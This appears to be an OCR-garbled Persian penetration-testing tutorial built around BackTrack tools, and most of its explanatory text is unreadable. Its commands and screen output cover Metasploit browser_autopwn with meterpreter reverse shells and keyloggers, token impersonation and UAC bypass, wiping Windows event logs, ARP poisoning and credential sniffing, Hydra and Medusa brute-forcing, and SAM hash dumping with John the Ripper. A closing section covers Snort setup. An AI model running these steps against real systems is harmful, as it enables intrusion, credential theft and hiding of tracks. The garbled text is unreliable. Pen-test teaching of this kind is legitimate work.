RPORT 5432
The target port
STOP_ON _SUCCESS false
Stop guessing when a credential works for a host
THREADS 1
The number of concurrent threads

msf auxiliary( ) > set RHOSTS 192.168.10.111
RHOSTS => 192.168.10.111

msf auxiliary( ) > set user file /opt/metasploit/msf3/data/wordlists/p

Lt user.txt
user file => /opt/metasploit/msf3/data/wordlists/postgres default user.txt

Description

PostgresSQL Se
PostgreSQL Se
PostgresOL Lo
PostgresQL Ve

PostgresqgL fo

Required

ostgres defau

msf auxiliary( ) > set pass file /opt/metasploit/msf3/data/wordlists/postgres defau

Lt pass.txt
pass file => /opt/metasploit/msf3/data/wordlists/postgres default pass.txt
psf auxiliary( ) >l




with password:'sce

dmplementing the browser_autopwn module

0 2! SLB s (59) 3 Slegil Djg0 4 oS ez Uiz o Sl (Bog3 g4 50 dlaz by (B, (r g8 ) (S
25 5 1 Ll e gts b g a8 e ! | el 5,6 b cslie 45 1, oo CoglenST gl 4Kt _in 09

3 ';'.;|)93.,..)o
msfconsole

search autopwn

use auxiliary/server/browser_autopwn

Bl (g0 j9dg e 5 Wogly (n yusd 5l (SO
set payload windows/meterpreter/reverse_tcp

show options




options
Module options (auxiliary rowser_autopwn):
Name Curgent [Sedtingy, Requifeds Descripidon
The IP ‘@ddress=to Usé “for remersescomnect payl
The local host to listen on. This mwsSt be an a
The local port to 1i

Negotiat for i ions
ifi fault is randomly g

The URI to use for this exploit (default is random)

auxiliary(
Asb o S3ga5ip address = LHOST
set LHOST 192.168.10.109
3,8 3 ip address | as gl oo el a5 G S oS Ol ) LB wisey g4
set URIPATH "filetypes"
exploit
150,5 5,lg LHOST jo a5 cewn ip address Jolis a5 ano o S S Lo @
Metasploit starts the exploit at the IP address http://[Provided IP Address]:8080.
S 51 awcdp address g4 5l Lolaile (oo Colis oyol S as a5 1) wl sols ) 0 e o5 o) 5L 8 8y

D9 oo 1,8, 5€8SI0N g 0gh o Jlad s yiws L sl o] 59,

:Q‘)g.‘;.wo Alol O
Al oo 0ols zmessr Yb yo p 5 Ol g aSS
session -i 1
help

keyscan_start

keyscan_dump

Metasploitable Tomcat .c.S-sb (sl g 4 dloz 5,50 ;0 il 15 adge cpl Jloo 4y s ) slorin

S aslllas i 50 Metasploitable DPF s g0 jo pizon iV oloiinn




Karmetasploit oS 5,50 o2 1) £9050 opl ditur widde Wifi Hacking aes jo o5 JluS Yolpin

In Action

P ad 50,1 b ol

http://www.offensive-security.com/me...loit In Action
http://www.backtrack-linux.org/forum...hp?t=21492#top

www.hackingdna.com
http://wirelessdefence.org/Contents/karmetasploit.htm

https://www.google.com/#qg=tutorial+metasploit

http://www.offensive-security.com/metasploit-unleashed/Attack Analysis

http://searchsecurity.techtarget.in/tip/BackTrack-5-tutorial-Part-l-Information-gathering-and-
VA-tools

http://www.offensive-security.com/metasploit-unleashed/Msfconsole Commands

http://www.offensive-security.com/metasploit-unleashed/Meterpreter Basics

http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient

http://sectools.org/tag/sploits/

Metasploitable Tomcat:

http://www.rapid7.com/db/modules/exp...cat mgr deploy

http://www.rapid7.com/db/modules/aux...mcat mgr login

http://www.securitygeeks.net/2013/05...he-tomcat.html

http://www.offensive-security.com/me...n HTTP Modules

www.youtube.com/watch?v=08 qLxPW--s

www.youtube.com/watch?v=0-ue2 q 90U

Metasploitable PDF:

http://www.offensive-security.com/me... Side Exploits

http://www.offensive-security.com/me...rting Exploits

http://www.exploit-db.com/exploits/14681/
http://blog.g0tmilk.com/2011/03/vide...dobe-pdfs.html
https://community.rapid7.com/thread/2742

http://www.rapid7.com/db/modules/exp...f embedded exe




Karmetasploit In Action :

http://www.offensive-security.com/me...loit In Action

http://www.backtrack-linux.org/forum...hp?t=21492#top

http://wirelessdefence.org/Contents/karmetasploit.htm

Web explotion tools:

http://www.blackhatlibrary.net/Category:Web exploitation

http://www.dotslashbacktrack.com/web-exploitation-tools.html

http://www.aldeid.com/wiki/Websecurify
http://www.aldeid.com/wiki/W3AF

http://searchsecurity.techtarget.in/tip/A-Web-exploit-toolkit-reference-guide-for-BackTrack-
5

http://www.aldeid.com/wiki/Category:Backtrack/GUI/Exploitation-Tools/Web-Exploitation-
Tools




Privilege Escalation

o 40 Lol (caw pid (Gl (50 Wb sy plosil b a8 (6,157 gl swads Jog (Sby8 e 4 aSol 5l o Lo
3,5 wplet Cooro Al (il 050 10 bl o as cl L3

:Using impersonation tokens

Cwd  owpmwd (e 4 o Glesgs 6l Bue piww cwyiwd YL Cuge x> ool b L s cpl o
23 oenly>
Dot b s Wb Jloo Juab ool sl Loed oS Cammo O Juad o oS Gl 5 G5 (ot Sl an
Aesb axsls |, meterpreter o session
2 s ()

sessions -i 1

exploit(
Starting

:meterpreter ,s (¥
use incognito
Hyewd (ol 95590 40 S s (Y

help

X
Dumps Lhe conlenls ol Lhe SAM dalabase

Manipulale (ile MACE allribules




16l 03,8 (1S e 0 45 )5 s (F

list_tokens -u

arrent ronning®=@sUSYSTEM] notaTl @ens Wil ‘Pe auvadlable
2self if primary proces® token is EM

N.MS oolazw! u] Q)A:é )‘ 9 Cugd Jp 1) 2 ).g)lf M‘P = [
impersonate_token \\test-pc\willie
U] 615)9;”‘)0

impersonate_token [name of the account to impersonate]

:Local privilege escalation attack

Kage Ja olp S0 g, SO

).:) )93.,..:0 A

exploit( ) 3
Starting interaction wi

getsystem -h
getsystem

05 s b awsS Jld e Jgl |, UAC(user access control) wb oo o 1, Win7 & ales> auad Las 5104380

run post/windows/escal ate/bypassuac




:Mastering the Social-Engineer Toolkit (SET)
D oo oslaiwl Canl S gl eokin [l oI5l Julis a5 framework S

: set 6‘)-?‘ (
cd /pentest/exploits/set

TR g L

Applications | BackTrack | Exploitation Tools | Social Engineering Tools | Social Engineering
Toolkit | set.

).’) )93.,..:0 (Y
Jset

S enters ansn |y ¥ ke oo 1) 2 el 98 L2l 1) oL odsl (6l STCY
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

The above licensing was taken from the BSD licensing and _is applied to Social-En

- Toolkit is provided as is, and _is=a*ToOyalty free o

do whatever you want with It as long a

it they deserve for wriking it).

U ever

. Hug t lastfjat least 5 t
the cight g0 refiSe theghu@ or ghe beer.

il ) Olasgas Joli set g (F
Social-Engineering Attacks
BIFast-Track Penetration Testing
BThird Party Modules
PUpdate the Metasploit Framework




.PUpdate the Social-Engineer Toolkit
.BUpdate SET configuration

.PHelp, Credits, and About

.BIExit the Social-Engineer Toolkit

The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trusted . com

Select frodi thefmenu:

e Social-Engineer
nfiguration
its, and About

99) Exit the Social-Engineer Toolkit

1S 4z g Jle S @

Sgh oo sl ) sae ig L aST "social engineering attack” a5 ol (Y

:Create a Payload and Listener ol (Y

¥ oue

The Social-Engineer Toolkit is a product of TrustedSec:

Visit: https://www.trusted . com

a lbengrator
d fand” Listener

99) Return back to the main menu.




((reverse connection) usSae Jlas! 418 5 slp oS 5,05 15 bags oyl ip e (¥

192.168.10.109

5,k 5,50 payload Ll (F
Windows Reverse_TCP Meterpreter :5 50 (! ciny

Y oue

bypass aulgn ) b g pg 6] B oS eoliiwl g48 Encoding G 5l aub Lad a5 0sS Cds cond (pl a0 (O

Wgld e pwd y0 e gl U oS
Backdoored Executable (BEST) : ol

VP sue

ol A1 c yiwd Bud 4 O jg ol Bk e Caddse Dygo 0 U 0e 595 A gl Dy SO Ol (8

w in thé roc
utable and obf
und in

? Iy

Slo S8 Jad j0 g Cewl (astine 9z pold sy 500 1) Cuglwllie jo handler S piiigs Jle ol o be (Y
2ol exploit handler G cals Jlos 45 google o S & a0 40 00,5 Jo cpl ancds

CER Wy WET | PRt IS SRUORIP PR DUV REEE Sbd




erpre

junkﬁmeté“< ig¥>- sety LHOST @

exploiti(

keyscan_start

keyscan_dump

LPORT 4

:Collecting victims' data
fesw yewd (58,5 5l s eeoi |y SL8 Oledllel ol wad Lo sy (ol o

1R Jgewd

i Ve SUe) ‘3"‘"‘9’(5”‘) oa; wb 0)9.~5 63))"“5‘\7"])‘2’ T T




ARRARAES
ABRAAMABD

"generatedCrunch.txt"

:Cleaning up the tracks

35 S GbE e (59,5l 1) 093 sho, 59> b aly e (Jyge x4 a5 wjeel oo 5 ool o Les

1R e
sessions -i 1

:)9.‘;.“:0

reter > irb
ing IRB shell

e g S5 ST L0 (0 G Ll 1y ) Olhgwd e
log = client.sys.eventlog.open('system’)
log = client.sys.eventlog.open('security')
log = client.sys.eventlog.open(‘application’)
log = client.sys.eventlog.open(‘directory service')
log = client.sys.eventlog.open('dns server’)
log = client.sys.eventlog.open(‘file replication service')
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: ion:
! WILLIE-BC"

log.clear

:Man-in-the-middle attack (MITM)

Sl Gols 75 S 50 Hlez jo wlys,y Jg 0SS el ol wls Lo a5 canl e (p 5 Sbylas 5l (S

).:) )93.»40 (\

ettercap -G

* ettercap O
Sniff Options Help




Sniff | Unified sniffing

| % ettercap Input

@ Network interface : |EE | v |

oK Cancel
I | | |

* ettercap 0.7.4.1
Sniff | Options Help
Unified sniffing... shift+U
Bridged sniffing... Shift+B

FI

Hosts | Scan for hosts

Start Targets Hc« ¢ Mitm Filters Logging Plu

Scan for hosts Ctri+5s
Load from file... Ctri+0O

Save o file... Ctri+5

Hosts| Hosts list

* ettercap 0.7.4.1
Start Targets Hosts View Mitm Filters Logging

Host List 3 =

IP Address | M: Scan for hosts Cti+5
I: 10.0.2.2 57 Load from file... ctrl+0O

10.0.2.3 ] Sawve to file... Ctri+5




-&wwwus’dj ‘)éls)éw
oS adlsladd to target 1« oy lo Hhas ae oS 1) Sla L3

add target 1 ... $192.168.10.112 : Jlws

* efttercap 0.7.4.1

Start Targets Hosts View Mitm Filters Logging Plugins Help
Host List %

IP Address 'MAC Address ' Descri ption

192.168.10.102 00:0D:93:7A:EA:C8
192.168.10.107  00:18:E7:07:BE: 70
192.168.10.108 00:08:50:29:28:FF
192.168.10.110 00:02:A5:B1:EB:0F
192.168.10.111 08:00:27:17:81:3C
192.168.10.112 08:00:27:19:BD:88
192.168.10.150 00:80:77:07:80:A3

| Delete Host I Add to Target 1 Add to Target 2

55 ports monitored
7587 mac vendor fingerprint
1766 tcp OS fingerprint
12183 known services
|Rand0mi2ing 255 hosts for scanning...
|5canning the whole netmask for 255 hosts...
9 hosts added to the hosts list...

Start | Start sniffing

x E?ter:ap 0.7.4.1
Start | Targets Hosts View Mitm Filters Logging Plugins Helj
Start sniffing Ctri+w

Stop sniffing Ctri+E
Ctri+ X

fagFharp sile paens Jos
Mitm | Arp poisoning




x ettercap 0.7.4.1
Hosts View Mitm Filters Logging Plugins Help
Arp poisoning...
lcmp redirect...
Port stealing...
Dhcp spoofing...

Stop mitm attack(s)

Sniff remote connections

MITM Attack: ARP -Fn-isnning .

Optional parameters

= |Sniff remote connections. |

) Only poison one-way.

] Cancel

HU 5l Al e ol U leds 5 b jass (A

" x ettercap 0.7.4.1
i Hosts View Mitm Filters Logging Plugins Help

(7587 mac vendor fingerprint

11766 tcp OS fingerprint

12183 known services

IRandomizing 255 hosts for scanning...
'scanning the whole netmask for 255 hosts...
i3 hosts added to the hosts list...

Istarting Unified sniffing...

frAHP poisoning victims:
| GROUP 1 : ANY (all the hosts in the list)

| GROUP 2 : ANY (all the hosts in the list)




ranys (Ve
Start | Stop sniffing
LS oo Ban Oledbl logil 4 9,0 aS
g * ettercap 0.7.4.
Start  Targets Hosts View M
Start sniffing Ctril+W

Stop sniffing Ctri+E

Exit Ciri+ X 1

:URL traffic manipulation

390 oo slo aSlis jo 4 cewl @arpspoof jgiws l eolaul ] a5 sl 15 arp gile poems lp 500 b,
DS oo ;8 eolanl
Cobedgs ez aSlli @ aSl (0,5 gy 6l B yols o5l>] (1, ip-tables s 5T Kails

B SBLonl
sudo echo 1 >> /proc/sys/net/ipv4/ip_forward
cat > /proc/sys/net/ipv4/ip_forward
el SISl 50 VAVAFAN VD ey0lip LWINT 5 Sb 3 oS o 2,8
IS Cd
Ll 8 pol £95 40,S jaduine glyp -1 (&
wlan=wireless ___ eth=Ethernet __ Lo=loopback
Do o oolatul (g5l paamme glp SF L oS Adlsl gl -t (o
sudo arpspoof —i wlan0 -t 192.168.10.115 192.168.10.1
TR
arpspoof —i [interface] —t [target IP address] [destination IP address].
192.168.10.110. =S 5iSs ,0 wyolip Lo S iS5 a0l 1P 040 0 getaway aslsl ;o

sudo arpspoof —i wlan0 -t 192.168.10.1 192.168.10.110




:Port redirection
Jo 0 &S 1) Gim s oS il ool 1) K00 Sje SO Oy SO olae Jee peles o b GiSu (ol yo
oS Ll ArAe G A g 5l el S35 ks e
Sl oo 3 port mapping o port forwarding lsie 4 port redirection o3ls
R ogwd
Sudo echo 1 >> /proc/sys/net/ipv4/ip_forward
05S pgema 39, (o0 VAYNFAN ) uyolip b (_gateway) ojlg,0 Cuows 4 a5 1, (Kbl penlys o bo Lxil yo
sudo arpspoof —i wlan0 192.168.10.1
SIS s
arpspoof —i [interface] [destination IP address].
S 50 D9y SRS Dysy A Sz ol L S el o Lol poles (55800 ofls )0 a5 S j5ts o

192.168.10.110 Lo ] ip

) g

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
> WS L I o5 g (sniff) oo o.ﬂsngi)l: Coowo 1 a1y (S5 s oudlyy oo Lo YU Jlosl b
:Accessing an e-mail by stealing cookies
Ettercap SSLstrlp URLstrlp Easy : Jio b;Lm 1580 oy b oo 9 MLWS\. i 1, Wil ooy encrypt o>
oS o0 Cuzo €ASY-Creeds o,ge o el o s Creeds

/pent
pwntwat.Jn




./easy-creds.sh

EEETE
: # # #
by # B
BEERER #

% #

# s

DHCP P8ison
DNS Poison
ICMP Poison
Previous Menu

EEET T
: # # #

R # R
RERER #

## #

# R

DHE Pﬂlbﬂﬂ
ICMP Poison
Previous Menu

hoice:

R #

# #

#HEE #

# #

R R R R
# ## ## # ___##

R # T
# HERERE # | — #
# ## # # £ # ot
HEE R R MR BT

- stealing credentials
urn to main menu **#

during a pen test

B HEERE  BEHEER BEHER R
# ## ## # ___##
R # #  HapeR o # # A
# HERERE # " #
# ## # # £ # ot
HEE OB B BEEER BT R

- stealing credentials
urn to main menu **#

during a pen tesg




.Msnl)é}uﬁwépaqyuﬁ)o

: Oneway ARP Poisoning <Y sae Clsal (Y

terfaces:

=

Link encap:Bthernet HWaddp 88:0¢
ipet6 addr: WEB8: "a08: 27TT i {e07
Cegk Sngap:EtherngT /HWaddr "8s:
inet6 addr: Te80::408:27TT:Ted3:¢

(qi]

230, —h
[l i - ¢
£ == .-
4 T 00
= (T

¥y
=]
(4]

to the network, example ¢

g ) 995 (b il g0 (F

wlan0 : o

C”L"' Qt.\«i’ o).:én') 6‘)”)“"“‘""0""”” ™

pentest/sniffers/easy-creeds ... L /root/Easy-Creds : 84, 5 yws 4 dungis 51 :4355
rovide path for saving log files, ex. root, *NOT* /root/:

n L. a5 "Do you have a populated file of victims to use™ : Jie 555 oo yolb Lt slp obow ¢

1o g

192.168.10.1 amus s gateway ip s e cpl 3 (

192.168.18.1

ormat): 192.168.16.115




ztrip 0,9 by Moxie Marlinspike running, ..

Starting Unified sniffinag...

Text only Interface activated. ..
Hit 'h' for inline help

A~ w | x  Dsniff

dzniff: listening on ethi

easey- >, b og> 3l aSul L s 1) ol o0gs, Sledlbl uilss o ettercap Jol asaos coond o Lot (V-

10 0 g 4 Creeds

iad g0 )l sl ol

http://en.wikipedia.org/wiki/Man-in-...e of an attack

http://openmaniak.com/ettercap filter.php

cain & caabl:
http://www.irongeek.com/i.php?page=v...-arp-poisoning

cain & cabl:
http://www.hacking-tutorial.com/hack...middle-attack/

http://www.chmag.in/article/jun2012/mitm-ettercap

http://www.tech-juice.org/2011/06/20...with-ettercap/

http://www.offensive-security.com/metasploit-unleashed/Event Log Management




https://pypi.python.org/pypi/ssistrip/0.9.2

http://www.backtrack-linux.org/forums/showthread.php?t=20272

http://seclist.us/2013/01/update-easy-creeds-v-3-7-3-linux-bash-script-for-mitm-attacks.html

PSR

www.youtube.com/watch?v=RfHfmeaYcy0

www.youtube.com/watch?v=rw b wiSWM

www.youtube.com/watch?v=EMTzBfbU808




Password Cracking

Sl fad 13 g o5l Caws 4 s Gl s ale e 0 a5 1) Slayje sWes ey )50 0 mudlsS (o fad cpl o
o 33 0393 04D Lg)lii}o)o\.fg..ol Syguy 4 U 0uiS S Sy 00,5 Con 090 @.l)oa\fg.,é

:Online Password and HTTP Attacks

FTP, HTTP, HTTPS, MS, 1.3 3l sob; sl JSGg, Hydra .5 5 waly> oo THC-Hydra 5,50 ,0 eyl jo
&S oo Sleio |, MYsql, VNC, Cisco,...

Applications | BackTrack | Privilege Escalation | Password Attacks | Online Attacks | hydra-gtk

x xI:Iyd ra

- ETGFQEE-E Passwords Tuning Specific Start
Il Target

O Single Target (127.0.0.1

() Target List

1 Prefer IPVE

Port

Protocol

|| Output Options

1 Use S5L [ Be Verbose

O Show Attempts

hydra -1 yourname -p yourpass -t 16 127.0.0.1 afp




/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/names/nameslist.txt

/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/john.txt

.a,:.:S‘Sco)lg 5 QT S ygud § 393 Comd (yild Dygo yo BogS aSLI L alSS

Target | Passwords | Tuning Specific Start
Usemame

) Usemame | yourname

O Usemame List |7

¥ Loop around users

PaSSWOI"L%

— |
) Password YOUrpass

© Password List '-355wd,-'passwd5a'john.txtf

Colon separated file

[ Use Colon separated file

[ Try login as password = [Try empty password|

hydra W -L /pentest/web/wiuzz/wordlist/ffuzzdb/wordlists-user-passwd/... _g

192.168.10.111 ks 5,90 0l ip 0,5 8,1y g target (tab) a5, 4 o35, (¥

* xHydra |
Quit

- Target | Passworrds Tining Specific  Start
i Target

© Single Target [192.168.10.111

() Target List

1 Prefer IPVG6

Port

Protocol | mysaql

Output Options

J'Jse SSL

®i Show Attempts

hydra -v -L /pentesUfwebfwlussfmordlisyTussdbfwordlisls-user-passwdy/. ..

[ Be Verbose

1 Debug

4




S Jloel 8o @b 1) pj sle a5 (F

D9 o0 s Ao Glo Cond @ Lok (gld dungy WS jiion 4> 2 0 |, number of task o Jg :aiSO

Target Passwords | Tuning | Specific  Start
j Performance Options

Number of Tasks
Timeout

=i Exit after first found pair

= Use a HTTP/HTTPS Proxy
© No Proxy ) HTTP Method ) COMMECT Method

Proxy | http://127.0.0.1:8080 |

O Proxy needs authentication

Usemame | youmame

Password !yourpass |

'5_ hydra -\ -L /pentestiweb/wiuzz/wordlistfuzzdb/wordlists-user-passwd/... _d

S o0 S start g4, 9 a3, start a5 s s (O

| Target Passwords Tuning Specific Start

Output
{Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purpose

Hydra (http:/fwww.thc.org/thc-hydra) starting at 2012-08-29 07:27:17

[[DATA] 2 tasks, 1 server, 5926956 login tries (1:1907/p:3108), —2963478 trig
i[DATA] attacking service mysqgl on port 3306 -
[[ATTEMPT] target 192.168.10.111 - login "0" - pass "" - 1 of 5926956 [child {
[[ATTEMPT] target 192.168.10.111 - login "01" - pass "" - 2 of 5926956 [child
[ATTEMPT] target 192.168.10.111 - login "02" - pass "" - 3 of 5926956 [child
[[ATTEMPT] target 192.168.10.111 - login "03" - pass "" - 4 of 5926956 [child

| Stop | | Save Output | | Clear Outputi

fhydfa A -L fpe::lgesmuebfwfuzszordliSt.-’fuzzdbfword!iSts-user—passwdf... 48
| .




:Gaining router access
Sl oo oolatwl gy 4 owyiws glp brute-force g, 5l 5o ise ol e

:):’)' W .\

Applications | BackTrack | Privilege Escalation | Password Attacks | Online Attacks | medusa

2.1.1 [http:// oofus.net] (C) JoMo-Kun / Foofus Networks <

: User logon information must be supplied.

README for more information.
o append g 1
: Additiomal pascuurd eh [ [N« No gRasswerdg=[s] Pas I Use
mutLiplesti
time and they will all be sent to the
n Paraml -m Para
111 known

[NUM] : Use _de

-: [NUM]
r [NUM]

:)i} )9l*u$ Y

medusa -M http -h 192.168.10.1 -u admin -P /pentest/passwords/wordlists/darkcOde.Ist -e ns -n
80 -F

:/pentest/passwords/ 1nr1listﬁ# ledusa -h 192.168.18.1 -u adnin -P /pentest/passwords/wordl

de. st - ns -1 80 -F - ttpl
02,5 o0l IEEP 51 Lo Lxtyl 1o s o cymens | Lo oolicil 5,50 Jgilo £33 : -
g o |y ooyelip:-h
admin bxol ,5 (52,5 500 30,5 s 1 -
5 0590 S 050 e (yilgs 1P
g Ol5ie 4 pdyig (I Lo gy Jro im0 1B Lo LS 0]y (Sl gla LB (6,5 €

Dy oo Agie Siilegil O ygeo ol log 8 jgms By 1 -




B33 j50 Oygs (0,5 @deiee 1 oM

A o Sletis Medusa a5 sla Jgibe

AFP ,CVS ,FTP ,HTTP ,IMAP ,MS SQL ,MySQL ,NetWare ,NNTP ,POP3 ,Postgresql ,REXEC
,RLOGIN ,RSH ,SMBNT ,SMTP AUTH ,SMTP VRFY ,SNMP ,SSHv2 ,Subversion ,Telnet,
VMware authentication ,VNC ,www

:Password profiling

5SzsS Cend 3y5m 5| 695 U il (o madysl Cews & GUE s 5l a5 SOl &z gl b o o
oS oolasl
meta l,>! ()

msfconsole
email Jgslo sl p goeims (Y

search email collector

Disclosure Date Rank

ther/search_email collector normal

: JS)L" )‘ oolazwl (Y
use auxiliary/gather/search_email_collector

:)53*.:.) (f

show options

WVES

DOMAIN
OUTFILE
SEARCH_BING
SE

msf auxiliary(




5890 (rseld s (O

AS 3 lg S yd a5 S Cdy AT

set domain fromwilliesperspective.com
} = set domain gmail.com
) = set outfile /root/Desktop/gmail.com

/Desktop/gmail.com

3535 o )8 coliul 050 dax paix Glojen (g3l ooly lpg cwl g LS A o ] (£
set outfile /root/Desktop/fromwillie.txt
} = set domain gmail.com

) » set outfile /root/Desktop/gmail.com

/Desktop/gmail. com

/root/Desktop/gmail.com. ..

ution completed
} =

s Sl 00l 0233 00l (ptl s 50 &S |y LS (A

:Cracking a Windows password using John the Ripper

WS o8 S S S ) Ngd o0 (6l SAM &Iy o g wil s hash a7 Sles gy wuily oo Lo jOhN lasgs
o YU, S SLUSB 5,k 5l L a5 (Physical access attack) o puoo pll (So5ud g9 5 das el o
2 Sk ooly 3 jgm 0,5] Cews 4 sl |, brute-force Jos L john Lug . CD/DVD_ROM 5,k 5l L o

S

:o,,.mr:del1))15Q,{|Q)o,L&JMaSMQTgMoo)Lon;J% ()
Fdisk -I




g 5 (¥
mount /dev/sdal /target/
22,0 )8 (] ;0 SAM &S (6 e 4y (38, (¥
cd /target/windows/system32/config

)JJ9.9 6‘9‘“‘7“’ uo; w:u«.] (\c

S oo L e ) e 1) S5 0550 i 5 et L (O
samdump?2 system SAM > /root/hashes/hash.txt
john ripper e 4 38, (¢
cd /pentest/passwords/jtr
i s5es (¥
/john /root/hashes/hash.txt
08 ool 5 s5ss 5INTFS ot il a5 0ls 51 gl (A
.Jjohn /root/hashes/hash.txt-f:nt

:Using dictionary attacks
oS oo o0liiul ial 03,5 ags S5 o sl less a5 st 5 Lo el aseine g |
g ()
apt-get update

:)53*.:.) (Y

apt-get install crunch

D ~# api—get install crunch

Reading package lists Done
uilding dependency tree
Reading state information... Done

/pentest/passwords/crunch




cd /pentest/passwords/crunch
pwntvst p asswords/crunch# i

crunch [minimum length] [maximum length] [character set] [options]

options
ol 3lgl (las gy 0233 (Sl e Ui -
GB, MB, KB :Leis ple bl p L g aedS olows gSlas 0,8 jasiw :-b
@,%,":Jie . L2l cov OIS aseis gl ol -l

(olagl g undSSH Bg > 3l ookl g 2SS Ve Job iSTas g 2SS A Jlas b 0 jgen ddgi ) Hews diges (O

/pentest/passwords/crunch/crunch 8 10 ABCDEFGabcdefg0123456789 -o
/root/Desktop/generatedCrunch txt

Crunch will now generate the following number of lines: 66155263819776

JWS )L» |) ol cﬁ_&fh J;L‘B R P L: g r
nano /root/Desktop/generatedCrunch.txt

ol pils 4T (3Ll 4 dx g8 b (g lasdl Cannd 850 S Lo s S

:Physical access attacks

y 1 sl 3 y5me S5 Jas Bud (e s (S0 b (ms yiwd (B S yg0 50 ailsy (oo SUCTACK I3l 51 oolicil L
2 pll

Wb o0 ) sl option Jels

Slsy JelS aus --help

sl 8955 sl W > 50 45 (65 5 095 (oo eolil (505 50 (6l : -

A2 oo iulad ) Olawbrs Lol gl (0,080 j9b 4y alY ;2 :-S

137




e Uy 095 00lil ANSI claaS™ 51 Ll a8 0iSine s : -8

&S olaiy g oolawl multithread S5 5l wilg oo sz (510 slo & slawd (0,5 sl o -W

S o0 O,lg dalip & 1y ooy ailu crunch lawg a5 add ol )
sucrack /pentest/passwords/wordlists/rockyou.txt

sucrack -w 2 -s 6 -a /pentest/passwords/wordlists/rockyou.txt

iad 0 )l sl ol

http://www.remote-exploit.org/articles/misc research amp code/index.html

http://www.securityfocus.com/tools/category/11

http://www.breaknenter.org/

http://www.breaknenter.org/projects/inception/

Using rainbow tables:

www.youtube.com/watch?v=yVIX81h967M

www.youtube.com/watch?v=X1krdBR RRo

http://null-byte.wonderhowto.com/how-to/rainbow-tables-create-use-them-crack-
passwords-0131470/

http://renderlab.net/projects/WPA-tables/

http://xiaopan.co/forums/threads/wpa-wpa2-psk-rainbow-tables-33gb.440/

Using ATI Stream:

www.youtube.com/watch?v=TeqNS8BM9A30

http://www.backtrack-linux.org/forums/showthread.php?t=41531

http://www.offensive-security.com/backtrack/cuda-and-ati-stream-backtrack/

https://sites.google.com/site/nozyczek/home/wardriving/how-to-install-pyrit-with-ati-cal-
support-under-backtrack-5-r1-gnome-64bit

http://www.backtrack-linux.org/wiki/index.php/Install OpenCL




Using NVIDIA Compute Unified Device Architecture (CUDA):

www.offensive-security.com/documentation/backtrack-4-cuda-guide.pdf

www.backtrack-linux.org/documents/BACKTRACK CUDA v2.0.pdf

http://www.backtrack-linux.org/wiki/index.php/CUDA On BackTrack

https://www.google.com/#q=+NVIDIA+Compute+Unified+Device+Architecture+on+backtrack
+5

Password profiling:

http://www.social-engineer.org/framework/Computer Based Social Engineering Tools:

http://www.pcmag.com/article2/0,2817,2389089,00.asp

https://bechtsoudis.com/hacking/password-profiling-mask-attacks/

http://my.safaribooksonline.com/book/-/9781849517386/9dot-password-
cracking/ch09s05 html




BackTrack Forensics

:(short)dacusio

INtrusion )35 aseid i 4 45 Cawl O3 glo cdled o)l § Ko gl (gl p die SO 355 sl
ol 50 Ll cam 0,90 50 a5 8,00 gy Liwly cpl jo g0l sle,l58l o5 .l g ,2e (IDS) (detection system
o2 plul 1) ao3Y 8,95 5 T b ISt &g 40 g oS U1 1) aSiis 815 puslyin B oS audlyd Cusmo Juad

Ll Snort eIl o 51 SO
Lol (692)5 Jly &5 0 155 o WBly 1) b (]
:snort 1l sl Rule sglils ()

http://snort.org/start/rules

https://www.snort.org/signup.

) geeen 50 )5 £ 0 (V

i:v Accessories
[ = 3

& BackTrack Q,, Information G-ath'nng
,i Graphics N Vulnerability Assessment
s Internet & Exploitation Tools
m Office \ Privilege Escalation
ﬂ Other ~ W Maintaining Access
I¥ | Sound & Video II'T Reverse Engineering
¢ Systemn Tools L’ RFID Tools
r Wine L Stress Testing
> Forensics
Reporting Tools =Y o I, —
< < ‘:F Services ,:F GPSD
? Miscellaneous ‘:F HTTPD -
&9 MysoLp >
9 pcsco -

,:F SNORT Service » & snortstart

r

‘:F SSHD » —& snort stop




ol 3 sle Option sl

B> 09,0 <l e snort ol |2 -

Ll 9,20 sniffer mode” 4 45 TCP/IP sla jun conliw: -v
[etc/snort/snort.conf s ls |18 15T el jo a5 Kals LB 5l eolawl: -C
S 8590 ed i 5l ool -

) g sl (F

snort -q -v -i eth1 -c /etc/snort/snort.conf

S,5S Ctrltx glaads o5 b oldes 40,5 cadgie (F

w20 ol ) 65908 5 #3Y (oS S wbiSnOTt L IS £9,8 51 3 1SS

locate snort.conf

iy Sn BB olbgime iulpg ¥

nano /etc/snort/snort.conf




GNU namo 2.2.2 File: /etc/snort/snort.conf

u can take the follow g steps to ¢ 3 - own custom cOmfdguREation:

et the yariables for your neg
igurig dynamic lpoaded librar

eutpur plugins
; nfig directives
e set

{ i B Sustity B wnere Is  page MY Uncut Textlll To Speil
"var HOME_NET any” :aiib ) el JLoo ao lasnl .owssSS olocsl el o aS oS s Y
JRVEL PS50 I IS PSRV SORUUP ) JRPRVEL gSC -0 I SPRV 3¢ YD SV I IRV RN E IRVAP U cad i) b e
2, 0929 Ip &, Sl gl g, A
var HOME_NET 192.168.10.10 : s 0lip S 49,5 gl (]
var HOME_NET 192.168.10.0/24 : la _,0lip 3l 5, o 0,5 j5wbe (o
var HOME_NET 192.168.10.0/24,10.0.2.0/24 :la _u,slip 3l &, oz 9,5 ,5ube (z
s (0 1) H5ed (nl prted Glodg> 4l (55, sz L

var HOME_NET 192.168.10.0/24

var HOME NET 192.168.10.0/24}

el a4 conl ol bxilyo Lo Gus el ool a3 5 Jlas o > B sl aSlll d> 1S asioe Wb e
s Sk 0 B Al leie ] Cend b oSl gy o oS

Hd by 5l S8

var EXTERNAL NET any
#var EXTERNAL NET !SHOME NET




#5538 LS Comment wb |, YU & jgiws 4SS

s ) 25 etes b

#var EXTERNAL_NET any
var External_NET ISHOME_NET

www.snhort.org/assets/166/snort manual.pdf

:Recursive directory encryption/decryption

wsls Gailes BB ooy 4 as Sledbol 4y s ools Lo gl p el (6,50, hg, S encryption

Ll SailgE BB > 4 Sledlbl ails 5y sl Koo by, S decryption

2o sl [, €NC g dEC Joe vo aiilys oo Loy gpgdir 3l oolianl b

9 Olygiws ()
mkdir /sourcecode

cd /sourcecode
5l aglils (Y
